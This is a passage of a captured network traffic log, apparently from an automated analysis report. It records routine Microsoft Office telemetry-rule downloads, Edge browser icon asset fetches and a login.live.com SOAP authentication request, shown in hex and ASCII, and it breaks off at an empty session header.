2024-11-25 13:14:42 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:42 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131442Z-174c587ffdftv9hphC1TEBm29w00000005sg00000000rdzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:42 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:42 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3c6e4b4f-901e-005b-7308-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131442Z-178bfbc474bgvl54hC1NYCsfuw00000007gg000000007gbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:42 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:42 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131442Z-174c587ffdfldtt2hC1TEBwv9c00000005r000000000ndfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49827	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:42 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:43 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:43 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 5ebf9a3d-d01e-006e-05f5-3ec12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131443Z-174c587ffdf6b487hC1TEBydsn00000005zg0000000040wp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49831	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:43 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:43 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:43 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 46e4016d-801e-0076-1bdb-3eecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131443Z-178bfbc474bbbqrhhC1NYCvw7400000007k000000000euta Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49828	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:43 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:43 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f2b4d97c-d01e-004c-5cf5-3eaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131443Z-178bfbc474bscnbchC1NYCe7eg00000007s0000000002de5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49832	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:43 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:43 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: fe96ec46-701e-0005-28bf-3e9c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131443Z-174c587ffdfdwxdvhC1TEB1c4n00000005yg0000000071p5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49829	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:43 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:43 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 6e533cfd-401e-0006-17bf-3e9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131443Z-178bfbc474bq2pr7hC1NYCkfgg00000007mg00000000b5st Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49830	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:43 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:43 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:43 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131443Z-174c587ffdf7t49mhC1TEB4qbg0000000600000000001rqz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:43 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49833	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 13:14:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:44 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: c5dbda38-5df5-47da-b3b3-106235990780 PPServer: PPV: 30 H: SN1PEPF0002F907 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:43 GMT Connection: close Content-Length: 11389
2024-11-25 13:14:44 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49805	18.165.220.57	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
